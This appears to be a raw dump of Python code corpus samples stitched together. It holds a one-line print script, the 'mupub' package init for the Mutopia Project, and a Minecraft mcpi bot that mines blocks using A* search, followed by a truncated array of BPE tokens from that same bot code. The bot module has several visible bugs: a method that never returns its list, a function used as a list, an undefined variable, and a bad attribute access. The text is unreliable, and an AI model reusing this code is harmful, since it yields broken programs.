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tim-lawson
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the-stack-v2-dedup-python-starcoder2-3b

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aff1a9263e183610f403a4d6a7f27b45eacb7ff2
name = "valentina " print(name * 1000)
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eabf06481509962652812af67ad59da5cfe30fae
"""mupub module.""" __all__ = ( "__title__", "__summary__", "__version__", "__author__", "__license__", "__copyright__", ) __title__ = "mupub" __summary__ = "Musical score publishing utility for the Mutopia Project" """Versioning: This utility follows a MAJOR . MINOR . EDIT format. Upon a major release, the MAJOR number is incremented and the MINOR is zeroed. During development of an upcoming release, the MINOR number may be incremented. """ __version__ = "1.0.8" __author__ = "Glen Larsen, Chris Sawer" __author_email__ = "[email protected]" __uri__ = "http://mutopiaproject.org/" __license__ = "MIT" __copyright__ = "Copyright 2018 The Mutopia Project" from .assets import collect_assets from .commands.build import build from .commands.check import check from .commands.init import init from .commands.tag import tag from .commands.clean import clean from .config import CONFIG_DICT, CONFIG_DIR, getDBPath from .config import test_config, saveConfig from .core import MUTOPIA_BASE, FTP_BASE, URL_BASE from .core import id_from_footer from .exceptions import BadConfiguration, IncompleteBuild, TagProcessException from .header import Loader, LYLoader, VersionLoader from .header import RawLoader, Header, REQUIRED_FIELDS from .header import find_header from .lily import LyLocator, LyVersion from .validate import Validator, DBValidator, in_repository from .tagedit import tag_header, tag_file from .rdfu import NS, MuRDF from .utils import resolve_input, resolve_lysfile
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54f0ed5f705d5ada28721301f297b2b0058773ad
"""Module for the bot""" from copy import deepcopy from time import sleep import mcpi.minecraft as minecraft from mcpi.vec3 import Vec3 import mcpi.block as block from search import SearchProblem, astar, bfs from singleton import singleton _AIR = block.AIR.id _WATER = block.WATER.id _LAVA = block.LAVA.id _BEDROCK = block.BEDROCK.id _DROP = 2 # It can drop at most this many _DROP_PLUS_1 = _DROP + 1 _DELAY = 1 class _Vec3(Vec3): """A Vec3 that is hashable. Everything in this program should use this class.""" def __hash__(self): """Return the hash.""" return hash((self.x, self.y, self.z)) def clone(self): """Return a clone.""" return _Vec3(self.x, self.y, self.z) class _GenericBot: """A generic bot.""" def __init__(self, pos, inventory=None): """Initialize with an empty inventory. inventory is a dictionary. If None, an empty one will be used.""" if inventory is None: self._inventory = {} else: self._inventory = deepcopy(inventory) self._pos = deepcopy(pos) def take_action(self, action): """Take the action (acquired from _get_legal_actions).""" getattr(self, action["func"])(*action.get("args", ()), **action.get("kwargs", {})) def take_actions(self, actions, seconds=None): """Take these actions. If seconds is not None, sleep 'seconds' seconds. """ if not actions: return self.take_action(actions[0]) for action in actions[1:]: if seconds is not None: sleep(seconds) self.take_action(action) def get_pos(self): """Return the position.""" return deepcopy(self._pos) def get_legal_actions(self, block_=None): """Return a list of legal actions. If block_ is None, return all legal actions. Otherwise, return all legal actions that don't involve placing the block.""" return self._get_move_actions(block_) + self._get_mine_actions() + self._get_placement_actions(block_) def contains(self, block_): """Return whether or not the bot contains the block id.""" return block_ in self._inventory def _get_block(self, pos): """Get the block at the position.""" raise NotImplementedError def _place(self, loc, exclude=None, block_=None): """Place a block from the inventory only. If exclude is not None, place a block that is not 'exclude'. If block is not None, place that block only. """ if not self._inventory: raise Exception("Inventory empty") if block_ is None: for key in self._inventory: if key != exclude: block_ = key break else: raise Exception(("You requested not to place %s, but it is the only block in the inventory." % exclude)) if block_ not in self._inventory: raise Exception("Block %s is not in the inventory" % block_) if self._inventory[block_] == 1: del self._inventory[block_] else: self._inventory[block_] -= 1 self._set_block(loc, block_) def _move_down(self): """Move and mine the block below.""" new_pos = self._pos + _Vec3(0, -1, 0) block_ = self._get_block(new_pos) if block_ != _WATER: self._add_to_inv(block_) self._move(new_pos) def _add_to_inv(self, block_): """Add the block to the inventory.""" if block_ in self._inventory: self._inventory[block_] += 1 else: self._inventory[block_] = 1 def _move_up(self, exclude=None): """Move and place a block below. If exclude is not None, place a block that is not 'exclude'. """ self._move(self._pos + _Vec3(0, 1, 0)) self._place(self._pos + _Vec3(0, -1, 0), exclude) def _mine(self, loc): """Mine the block.""" block_ = self._get_block(loc) self._add_to_inv(block_) self._set_block(loc, _AIR) def _get_move_actions(self, exclude=None): """Return a list of legal movement actions. exclude is the block to exclude. """ rtn = [] # Check for moving up can_move_up = self._get_block(self._pos + _Vec3(0, 2, 0)) in {_AIR, _WATER} if can_move_up: if self._surrounded(): rtn.append({"func": "_move", "args": (self._pos + _Vec3(0, 1, 0),)}) else: rtn.append({"func": "_move_up", "args": (exclude,)}) # Check for moving down hidden_block = self._get_block(self._pos + _Vec3(0, -2, 0)) if hidden_block == _WATER or hidden_block not in {_AIR, _LAVA}: rtn.append({"func": "_move_down"}) # Check for side moves for dir_ in _adj_dirs(): rtn.extend(self._side_moves(dir_, can_move_up)) return rtn def _side_moves(self, dir_, can_move_up): """Return the list of side moves. dir_ is an adjacent direction. can_move_up is a boolean for whether or not the bot can move up. """ rtn = [] base_pos = self._pos + dir_ base_block = self._get_block(base_pos) empty_blocks = {_AIR, _WATER} # Check if it can move up if can_move_up and base_block not in {_AIR, _LAVA, _WATER}: for vert_dir in [_Vec3(0, 1, 0), _Vec3(0, 2, 0)]: if self._get_block(base_pos + vert_dir) not in empty_blocks: break else: rtn.append({"func": "_move", "args": (base_pos + _Vec3(0, 1, 0),)}) # Check if it can move in that direction for vert_dir in [_Vec3(), _Vec3(0, 1, 0)]: if self._get_block(base_pos + vert_dir) not in empty_blocks: break # Fall else: pos = base_pos + _Vec3(0, -1, 0) for _ in xrange(_DROP_PLUS_1): block_ = self._get_block(pos) if block_ != _AIR: if block_ != _LAVA: rtn.append({"func": "_move", "args": (pos + _Vec3(0, 1, 0),)}) break pos.y -= 1 def _surrounded(self): """Return whether or not the bot is surrounded by water.""" for dir_ in _adj_dirs(): if self._get_block(self._pos + dir_) != _WATER: return False return True def _get_mine_actions(self): """Return a list of legal mining actions (that only involve mining and not moving).""" rtn = [] dont_mine = {_AIR, _WATER, _LAVA} # Mine above. pos_above = self._pos + _Vec3(0, 2, 0) if self._get_block(pos_above) not in dont_mine: rtn.append({"func": "_mine", "args": (pos_above,)}) for dir_ in _adj_dirs(): pos = self._pos + dir_ for _ in xrange(2): if self._get_block(pos) not in dont_mine: rtn.append({"func": "_mine", "args": (pos,)}) pos = pos + _Vec3(0, 1, 0) return rtn def _get_placement_actions(self, exclude=None): """Return a list of legal actions that only involve placing a block from the inventory. exclude is a block id. It is the block that should not be placed. If None, any block can be placed.""" if not self._has_blocks_to_place(exclude=exclude): return [] dirs = [_Vec3(0, 2, 0)] for dir_ in _adj_dirs(): dirs.extend([dir_, dir_ + _Vec3(0, 1, 0)]) if self._get_block(self._pos + dir_) in [_AIR, _WATER]: dirs.append(dir_ + _Vec3(0, -1, 0)) rtn = [] for dir_ in dirs: pos = self._pos + dir_ if self._can_place(pos): rtn.append({"func": "_place", "args": (pos,), "kwargs": {"exclude": exclude}}) return rtn def _can_place(self, loc): """Return whether or not the bot can place a block at that location independent of what it has in its inventory.""" non_blocks = [_AIR, _WATER, _LAVA] player = [self._pos, self._pos + _Vec3(0, 1, 0)] for dir_ in _adj_dirs + [_Vec3(0, 1, 0), _Vec3(0, -1, 0)]: new_loc = loc + dir_ if new_loc not in player and self._get_block(new_loc) not in non_blocks: return True return False def _has_blocks_to_place(self, exclude=None): """Return whether or not the bot can place a block from the inventory. If exclude is None, any block can be placed.""" for block_ in self._inventory: if block_ != exclude: return True return False def _set_block(self, pos, block_): """Set a block. block_ is the block id.""" raise NotImplementedError def _move(self, pos): """Move there only.""" self._pos = deepcopy(pos) class _ImaginaryBot(_GenericBot): """A bot used for finding paths that doesn't actually change blocks in the world.""" def __init__(self, pos, inventory=None): """Create a new bot.""" _GenericBot.__init__(self, pos, inventory) self._changes = {} # Changes to the world def _set_block(self, pos, block_): """Set a block. block_ is the block id.""" self._changes[deepcopy(pos)] = block def _get_block(self, pos): """Get the block at the position.""" if pos in self._changes: return self._changes[pos] else: return _get_mc().getBlock(pos) def get_block(self, pos): """The public version.""" return self._get_block(pos) def __hash__(self): """Return the hash.""" return hash(frozenset([self._pos] + _key_vals(self._inventory) + _key_vals(self._changes))) class Bot(_GenericBot): """The real bot. All vector arguments are Vec3s.""" _BOT_BLOCK = block.IRON_BLOCK.id def __init__(self): """Create a bot next to the player.""" pos = _get_mc().player.getTilePos() + Vec3(2, 0, 0) pos = _Vec3(pos.x, pos.y, pos.z) _GenericBot.__init__(self, pos) self._pos = pos self._move(self._pos) @staticmethod def destroy_all(): """Destroy all bots within a small distance (in case I forget to destroy one).""" player_loc = _player_loc() minec = _get_mc() rad = 10 for x in xrange(player_loc.x - rad, player_loc.x + rad): for y in xrange(player_loc.y - rad, player_loc.y + rad): for z in xrange(player_loc.z - rad, player_loc.z + rad): if minec.getBlock(x, y, z) == Bot._BOT_BLOCK: minec.setBlock(x, y, z, _AIR) def destroy(self): """Set itself to air.""" self._set_block(self._pos, _AIR) self._set_block(self._pos + _Vec3(0, 1, 0), _AIR) def fetch(self, block_name): """Mine and return a block to the player.""" imag_bot = _ImaginaryBot(self._pos, self._inventory) block_id = getattr(block, block_name).id block_loc = self._get_block_loc(block_id) mine_prob = _MineProblem(imag_bot, block_loc, block_id) mine_actions = astar(mine_prob, _mine_heuristic) self.take_actions(mine_actions, _DELAY) imag_bot = _ImaginaryBot(self._pos, self._inventory) player_loc = _player_loc() return_prob = _ReturnProblem(imag_bot, block_id, player_loc) return_actions = astar(return_prob, _return_heuristic) imag_bot.take_actions(return_actions) return_actions.append({"func": "_place", "args": (imag_bot.get_pos() + player_loc) / 2, "kwargs": {"block": block_id}}) self.take_actions(return_actions, _DELAY) def _get_block_loc(self, block_id): """Return the location of the block.""" find_prob = FindProblem(self._pos, block_id) dirs = bfs(find_prob) return self._pos + sum(dirs) def _set_block(self, pos, block_): """Place an actual block in the world. block is a block id.""" _get_mc().setBlock(pos, block_) def _get_block(self, pos): """Get the block at the position.""" return _get_mc().getBlock(pos) def _move(self, pos): """Move there, and set the appropriate blocks.""" self._set_block(self._pos, _AIR) self._set_block(self._pos + _Vec3(0, 1, 0), _AIR) self._set_block(pos, self._BOT_BLOCK) self._set_block(pos + _Vec3(0, 1, 0), self._BOT_BLOCK) self._pos = pos class FindProblem(SearchProblem): """Problem for finding the location of a block in the world. A state in this problem is a location. """ def __init__(self, start_loc, block_id): """Initialize.""" self._start_loc = deepcopy(start_loc) self._block_id = block_id def getStartState(self): """Return the starting location.""" return self._start_loc def isGoalState(self, state): return _get_mc().getBlock(state) == self._block_id def getSuccessors(self, state): """Return the successors.""" rtn = [] for dir_ in _all_dirs(): successor = state + dir_ if successor.y <= _get_mc().getHeight(successor.x, successor.z) and _get_mc().getBlock(successor) != _BEDROCK: rtn.append((successor, dir_, 1)) return rtn class _MineProblem(SearchProblem): """The problem of finding the block and mining it (not returning it).""" def __init__(self, imag_bot, block_loc, block_id): """Initialize the problem with an _ImaginaryBot. block_loc is a Vec3. """ self._bot = imag_bot self._block_loc = deepcopy(block_loc) self._block_id = block_id def get_block_loc(self): """Return the block location.""" return deepcopy(self._block_loc) def get_block_id(self): """Return the block it's trying to mine.""" return self._block_id def getStartState(self): """Return the bot passed in.""" return self._bot def isGoalState(self, state): """Return whether or not the bot has the block.""" return state.contains(self._block_id) def getSuccessors(self, state): """Return the successors.""" rtn = [] for action in state.get_legal_actions(): successor = deepcopy(state) successor.take_action(action) rtn.append((successor, action, 1)) return rtn class _ReturnProblem(SearchProblem): """The problem of returning to the player. This does not place the block next to the player.""" def __init__(self, imag_bot, block_, player_loc): """Initialized the problem with an _ImaginaryBot. block is a block id.""" self._bot = imag_bot self._block = block_ self._player_loc = player_loc def get_player_loc(self): """Return the player location.""" return deepcopy(self._player_loc) def getStartState(self): """Return the bot passed in.""" return self._bot def isGoalState(self, state): """Return whether or not the bot is next to the player.""" diff = state.get_pos() - self._player_loc return ( diff.y == 0 and (diff.x == 0 or diff.z == 0) and abs(diff.x) + abs(diff.z) == 2 and state.get_block(self._player_loc + diff / 2 + _Vec3(0, -1, 0)) not in (_AIR, _LAVA, _WATER) ) def getSuccessors(self, state): """Return the successors.""" rtn = [] for action in state.get_legal_actions(self._block): successor = deepcopy(state) successor.take_action(action) rtn.append((successor, action, 1)) return rtn def _mine_heuristic(bot, problem): """Return the mining heuristic. bot is an _ImaginaryBot. """ if bot.contains(problem.get_block_id()): return 0 bot_pos = bot.get_pos() dest_pos = problem.get_block_loc() # If man == dy: return man + 1 # If man > dy: return man # If man < dy: return dy? man_dist = _manhattan((bot_pos.x, bot_pos.z), (dest_pos.x, dest_pos.z)) y_diff = bot_pos.y - dest_pos.y if y_diff < 0: y_diff += 1 if y_diff == 0: return man_dist # Transform so that it's only dropping drop = _DROP if y_diff > 0 else 1 y_diff = abs(y_diff) drops = _drops(y_diff, drop) if man_dist > drops: return man_dist if man_dist == drops: return man_dist + 1 if drop == 1: return drops if y_diff % drop == 1: return drops return drops + 1 def _drops(dist, drop): """Return the number of times it takes to drop a distance dist. drop is the length of one drop. Both are assumed positive.""" rtn = dist / drop if dist % drop != 0: rtn += 1 return rtn def _return_heuristic(bot, problem): """Return the return heuristic. bot is an _ImaginaryBot. """ bot_pos = bot.get_pos() player_pos = problem.get_player_loc() bot_plane_pos = (bot.x, bot.z) y_diff = bot_pos.y - player_pos.y drop = _DROP if y_diff > 0 else 1 y_diff = abs(y_diff) drops = _drops(y_diff, drop) min_man = float("inf") for dir_ in _adj_dirs(): loc = player_pos + 2 * dir_ man_dist = _manhattan(bot_plane_pos, (loc.x, loc.z)) if man_dist < min_man: min_man = man_dist if man_dist < drops: return drops return min_man def _to_my_vec3(vec): """Return the _Vec3 alternative of the Vec3.""" return _Vec3(vec.x, vec.y, vec.z) def _player_loc(): """Return the player's location.""" return _to_my_vec3(_get_mc().player.getTilePos()) def _adj_dirs(): """Return the adjacent directions.""" return [_Vec3(1, 0, 0), _Vec3(-1, 0, 0), _Vec3(0, 0, 1), _Vec3(0, 0, -1)] def _all_dirs(): """Return all adjacent directions.""" return _adj_dirs() + [_Vec3(0, 1, 0), _Vec3(0, -1, 0)] def _manhattan(pos1, pos2): """Return the manhattan distance. pos1 and pos2 should be iterable.""" return sum(abs(val1 - val2) for val1, val2 in zip(pos1, pos2)) @singleton def _get_mc(): """Return the Minecraft instance.""" return minecraft.Minecraft.create() def _key_vals(dict_): """Return a list of key-val tuples.""" return [(key, val) for key, val in dict_.iteritems()]
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"Ġup", "ĊĠĠĠĠĠĠĠ", "Ġcan", "_", "move", "_", "up", "Ġ=", "Ġself", "._", "get", "_", "block", "(", "self", "._", "pos", "Ġ+", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ", "2", ",", "Ġ", "0", "))", "Ġin", "Ġ{_", "AIR", ",", "Ġ_", "WATER", "}", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġcan", "_", "move", "_", "up", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġself", "._", "sur", "rounded", "():", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġr", "tn", ".", "append", "({\"", "func", "\":", "Ġ\"_", "move", "\",", "Ġ\"", "args", "\":", "Ġ(", "self", "._", "pos", "Ġ+", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ", "1", ",", "Ġ", "0", "),", ")})", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġr", "tn", ".", "append", "({\"", "func", "\":", "Ġ\"_", "move", "_", "up", "\",", "Ġ\"", "args", "\":", "Ġ(", "exclude", ",)", "})", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "ĠCheck", "Ġfor", "Ġmoving", "Ġdown", "ĊĠĠĠĠĠĠĠ", "Ġhidden", "_", "block", "Ġ=", "Ġself", "._", "get", "_", "block", "(", "self", "._", "pos", "Ġ+", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ-", "2", ",", "Ġ", "0", "))", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġhidden", "_", "block", "Ġ==", "Ġ_", "WATER", "Ġor", "Ġhidden", "_", "block", "Ġnot", "Ġin", "Ġ{_", "AIR", ",", "Ġ_", "L", "AVA", "}:", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġr", "tn", ".", "append", "({\"", "func", "\":", "Ġ\"_", "move", "_", "down", "\"})", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "ĠCheck", "Ġfor", "Ġside", "Ġmoves", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġdir", "_", "Ġin", "Ġ_", "adj", "_", "dirs", "():", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġr", "tn", ".", "extend", "(", "self", "._", "side", "_", "moves", "(", "dir", "_,", "Ġcan", "_", "move", "_", "up", "))", "ĊĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġr", "tn", "ĊĊĠĠĠ", "Ġdef", "Ġ_", "side", "_", "moves", "(", "self", ",", "Ġdir", "_,", "Ġcan", "_", "move", "_", "up", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Return", "Ġthe", "Ġlist", "Ġof", "Ġside", "Ġmoves", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġdir", "_", "Ġis", "Ġan", "Ġadjacent", "Ġdirection", ".", "ĊĠĠĠĠĠĠĠ", "Ġcan", "_", "move", "_", "up", "Ġis", "Ġa", "Ġboolean", "Ġfor", "Ġwhether", "Ġor", "Ġnot", "Ġthe", "Ġbot", "Ġcan", "Ġmove", "Ġup", ".", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġr", "tn", "Ġ=", "Ġ[]", "ĊĠĠĠĠĠĠĠ", "Ġbase", "_", "pos", "Ġ=", "Ġself", "._", "pos", "Ġ+", "Ġdir", "_", "ĊĠĠĠĠĠĠĠ", "Ġbase", "_", "block", "Ġ=", "Ġself", "._", "get", "_", "block", "(", "base", "_", "pos", ")", "ĊĠĠĠĠĠĠĠ", "Ġempty", "_", "blocks", "Ġ=", "Ġ{_", "AIR", ",", "Ġ_", "WATER", "}", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "ĠCheck", "Ġif", "Ġit", "Ġcan", "Ġmove", "Ġup", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġcan", "_", "move", "_", "up", "Ġand", "Ġbase", "_", "block", "Ġnot", "Ġin", "Ġ{_", "AIR", ",", "Ġ_", "L", "AVA", ",", "Ġ_", "WATER", "}:", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfor", "Ġvert", "_", "dir", "Ġin", "Ġ[_", "Vec", "3", "(", "0", ",", "Ġ", "1", ",", "Ġ", "0", "),", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ", "2", ",", "Ġ", "0", ")]", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġself", "._", "get", "_", "block", "(", "base", "_", "pos", "Ġ+", "Ġvert", "_", "dir", ")", "Ġnot", "Ġin", "Ġempty", "_", "blocks", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġbreak", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġr", "tn", ".", "append", "({\"", "func", "\":", "Ġ\"_", "move", "\",", "Ġ\"", "args", "\":", "Ġ(", "base", "_", "pos", "Ġ+", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ", "1", ",", "Ġ", "0", "),", ")})", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "ĠCheck", "Ġif", "Ġit", "Ġcan", "Ġmove", "Ġin", "Ġthat", "Ġdirection", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġvert", "_", "dir", "Ġin", "Ġ[_", "Vec", "3", "(),", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ", "1", ",", "Ġ", "0", ")]", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġself", "._", "get", "_", "block", "(", "base", "_", "pos", "Ġ+", "Ġvert", "_", "dir", ")", "Ġnot", "Ġin", "Ġempty", "_", "blocks", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġbreak", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "ĠFall", "ĊĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġpos", "Ġ=", "Ġbase", "_", "pos", "Ġ+", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ-", "1", ",", "Ġ", "0", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfor", "Ġ_", "Ġin", "Ġxrange", "(_", "DROP", "_", "PLUS", "_", "1", "):", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġblock", "_", "Ġ=", "Ġself", "._", "get", "_", "block", "(", "pos", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġblock", "_", "Ġ!=", "Ġ_", "AIR", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġblock", "_", "Ġ!=", "Ġ_", "L", "AVA", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġr", "tn", ".", "append", "({\"", "func", "\":", "Ġ\"_", "move", "\",", "Ġ\"", "args", "\":", "Ġ(", "pos", "Ġ+", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ", "1", ",", "Ġ", "0", "),", ")})", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġbreak", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġpos", ".", "y", "Ġ-=", "Ġ", "1", "ĊĊĠĠĠ", "Ġdef", "Ġ_", "sur", "rounded", "(", "self", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Return", "Ġwhether", "Ġor", "Ġnot", "Ġthe", "Ġbot", "Ġis", "Ġsur", "rounded", "Ġby", "Ġwater", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġdir", "_", "Ġin", "Ġ_", "adj", "_", "dirs", "():", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġself", "._", "get", "_", "block", "(", "self", "._", "pos", "Ġ+", "Ġdir", "_)", "Ġ!=", "Ġ_", "WATER", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "ĠFalse", "ĊĠĠĠĠĠĠĠ", "Ġreturn", "ĠTrue", "ĊĊĠĠĠ", "Ġdef", "Ġ_", "get", "_", "mine", "_", "actions", "(", "self", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Return", "Ġa", "Ġlist", "Ġof", "Ġlegal", "Ġmining", "Ġactions", "Ġ(", "that", "Ġonly", "Ġinvolve", "Ġmining", "ĊĠĠĠĠĠĠĠ", "Ġand", "Ġnot", "Ġmoving", ").", "\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġr", "tn", "Ġ=", "Ġ[]", "ĊĠĠĠĠĠĠĠ", "Ġdont", "_", "mine", "Ġ=", "Ġ{_", "AIR", ",", "Ġ_", "WATER", ",", "Ġ_", "L", "AVA", "}", "ĊĠĠĠĠĠĠĠ", "Ġ#", "ĠM", "ine", "Ġabove", ".", "ĊĠĠĠĠĠĠĠ", "Ġpos", "_", "above", "Ġ=", "Ġself", "._", "pos", "Ġ+", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ", "2", ",", "Ġ", "0", ")", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġself", "._", "get", "_", "block", "(", "pos", "_", "above", ")", "Ġnot", "Ġin", "Ġdont", "_", "mine", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġr", "tn", ".", "append", "({\"", "func", "\":", "Ġ\"_", "mine", "\",", "Ġ\"", "args", "\":", "Ġ(", "pos", "_", "above", ",)", "})", "ĊĊĠĠĠĠĠĠĠ", "Ġfor", "Ġdir", "_", "Ġin", "Ġ_", "adj", "_", "dirs", "():", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġpos", "Ġ=", "Ġself", "._", "pos", "Ġ+", "Ġdir", "_", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfor", "Ġ_", "Ġin", "Ġxrange", "(", "2", "):", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġself", "._", "get", "_", "block", "(", "pos", ")", "Ġnot", "Ġin", "Ġdont", "_", "mine", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġr", "tn", ".", "append", "({\"", "func", "\":", "Ġ\"_", "mine", "\",", "Ġ\"", "args", "\":", "Ġ(", "pos", ",)", "})", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġpos", "Ġ=", "Ġpos", "Ġ+", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ", "1", ",", "Ġ", "0", ")", "ĊĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġr", "tn", "ĊĊĠĠĠ", "Ġdef", "Ġ_", "get", "_", "placement", "_", "actions", "(", "self", ",", "Ġexclude", "=", "None", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Return", "Ġa", "Ġlist", "Ġof", "Ġlegal", "Ġactions", "Ġthat", "Ġonly", "Ġinvolve", "Ġpl", "acing", "Ġa", "Ġblock", "ĊĠĠĠĠĠĠĠ", "Ġfrom", "Ġthe", "Ġinventory", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġexclude", "Ġis", "Ġa", "Ġblock", "Ġid", ".", "ĠIt", "Ġis", "Ġthe", "Ġblock", "Ġthat", "Ġshould", "Ġnot", "Ġbe", "Ġplaced", ".", "ĠIf", "ĠNone", ",", "ĊĠĠĠĠĠĠĠ", "Ġany", "Ġblock", "Ġcan", "Ġbe", "Ġplaced", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġnot", "Ġself", "._", "has", "_", "blocks", "_", "to", "_", "place", "(", "exclude", "=", "exclude", "):", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġreturn", "Ġ[]", "ĊĊĠĠĠĠĠĠĠ", "Ġdirs", "Ġ=", "Ġ[_", "Vec", "3", "(", "0", ",", "Ġ", "2", ",", "Ġ", "0", ")]", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġdir", "_", "Ġin", "Ġ_", "adj", "_", "dirs", "():", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġdirs", ".", "extend", "([", "dir", "_,", "Ġdir", "_", "Ġ+", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ", "1", ",", "Ġ", "0", ")])", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġself", "._", "get", "_", "block", "(", "self", "._", "pos", "Ġ+", "Ġdir", "_)", "Ġin", "Ġ[_", "AIR", ",", "Ġ_", "WATER", "]:", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġdirs", ".", "append", "(", "dir", "_", "Ġ+", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ-", "1", ",", "Ġ", "0", "))", "ĊĊĠĠĠĠĠĠĠ", "Ġr", "tn", "Ġ=", "Ġ[]", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġdir", "_", "Ġin", "Ġdirs", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġpos", "Ġ=", "Ġself", "._", "pos", "Ġ+", "Ġdir", "_", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġself", "._", "can", "_", "place", "(", "pos", "):", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġr", "tn", ".", "append", "({\"", "func", "\":", "Ġ\"_", "place", "\",", "Ġ\"", "args", "\":", "Ġ(", "pos", ",),", "Ġ\"", "kwargs", "\":", "Ġ{\"", "exclude", "\":", "Ġexclude", "}})", "ĊĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġr", "tn", "ĊĊĠĠĠ", "Ġdef", "Ġ_", "can", "_", "place", "(", "self", ",", "Ġloc", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "Return", "Ġwhether", "Ġor", "Ġnot", "Ġthe", "Ġbot", "Ġcan", "Ġplace", "Ġa", "Ġblock", "Ġat", "Ġthat", "Ġlocation", "ĊĠĠĠĠĠĠĠ", "Ġindependent", "Ġof", "Ġwhat", "Ġit", "Ġhas", "Ġin", "Ġits", "Ġinventory", ".\"\"\"", "ĊĠĠĠĠĠĠĠ", "Ġnon", "_", "blocks", "Ġ=", "Ġ[_", "AIR", ",", "Ġ_", "WATER", ",", "Ġ_", "L", "AVA", "]", "ĊĠĠĠĠĠĠĠ", "Ġplayer", "Ġ=", "Ġ[", "self", "._", "pos", ",", "Ġself", "._", "pos", "Ġ+", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ", "1", ",", "Ġ", "0", ")]", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġdir", "_", "Ġin", "Ġ_", "adj", "_", "dirs", "Ġ+", "Ġ[_", "Vec", "3", "(", "0", ",", "Ġ", "1", ",", "Ġ", "0", "),", "Ġ_", "Vec", "3", "(", "0", ",", "Ġ-", "1", ",", "Ġ", "0", ")]", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġnew", "_", "loc", "Ġ=", "Ġloc", "Ġ+", "Ġdir", "_", "ĊĠĠĠĠĠĠĠĠĠĠĠ", 